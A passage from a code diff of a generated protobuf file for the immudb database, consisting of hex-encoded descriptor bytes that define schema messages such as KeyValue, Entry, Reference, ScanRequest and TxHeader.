0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, + 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x48, + 0x00, 0x52, 0x0f, 0x6b, 0x65, 0x79, 0x4d, 0x75, 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, + 0x73, 0x74, 0x12, 0x75, 0x0a, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, + 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x4b, + 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, + 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, + 0x48, 0x00, 0x52, 0x15, 0x6b, 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, + 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, 0x58, 0x1a, 0x2c, 0x0a, 0x18, 0x4b, 0x65, 0x79, + 0x4d, 0x75, 0x73, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x2f, 0x0a, 0x1b, 0x4b, 0x65, 0x79, 0x4d, 0x75, + 0x73, 0x74, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x49, 0x0a, 0x21, 0x4b, 0x65, 0x79, 0x4e, + 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, 0x65, 0x72, 0x54, + 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, + 0x78, 0x49, 0x44, 0x42, 0x0e, 0x0a, 0x0c, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x22, 0x69, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xea, + 0x01, 0x0a, 0x05, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x12, 0x3c, 0x0a, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x52, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, 0x12, 0x35, + 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, 0x12, + 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x94, 0x01, 0x0a, 0x09, + 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, + 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, + 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x22, 0xa3, 0x01, 0x0a, 0x02, 0x4f, 0x70, 0x12, 0x29, 0x0a, 0x02, 0x6b, 0x76, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, + 0x52, 0x02, 0x6b, 0x76, 0x12, 0x30, 0x0a, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, + 0x52, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x12, 0x33, 0x0a, 0x03, 0x72, 0x65, 0x66, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x03, 0x72, 0x65, 0x66, 0x42, 0x0b, 0x0a, 0x09, 0x6f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0e, 0x45, 0x78, 0x65, + 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x31, 0x0a, 0x0a, 0x4f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4f, 0x70, 0x52, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, + 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x39, 0x0a, 0x07, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x22, 0x82, 0x01, 0x0a, 0x06, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, + 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, + 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x22, 0x3b, 0x0a, 0x08, 0x5a, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x95, 0x02, 0x0a, 0x0b, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, + 0x12, 0x16, 0x0a, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, + 0x69, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, + 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x08, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, + 0x65, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, + 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x23, + 0x0a, 0x09, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, + 0x66, 0x69, 0x78, 0x22, 0x22, 0x0a, 0x0a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x47, 0x0a, 0x09, 0x53, 0x69, 0x67, 0x6e, 0x61, + 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, + 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, + 0x22, 0xf1, 0x01, 0x0a, 0x08, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, + 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x69, 0x64, 0x12, 0x18, 0x0a, + 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, + 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x65, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x02, 0x65, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x62, + 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x62, 0x6c, 0x52, + 0x6f, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x22, 0xea, 0x01, 0x0a, 0x05, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, - 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3c, 0x0a, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x64, 0x42, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x65, - 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x78, - 0x70, 0x69, 0x72, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0x94, 0x01, 0x0a, 0x09, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, - 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x1a, 0x0a, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa3, 0x01, 0x0a, 0x02, 0x4f, 0x70, 0x12, - 0x29, 0x0a, 0x02, 0x6b, 0x76, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x02, 0x6b, 0x76, 0x12, 0x30, 0x0a, 0x04, 0x7a, 0x41, - 0x64, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x12, 0x33, 0x0a, 0x03, - 0x72, 0x65, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x03, 0x72, 0x65, - 0x66, 0x42, 0x0b, 0x0a, 0x09, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, - 0x01, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x31, 0x0a, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x52, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0x39, 0x0a, 0x07, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2e, 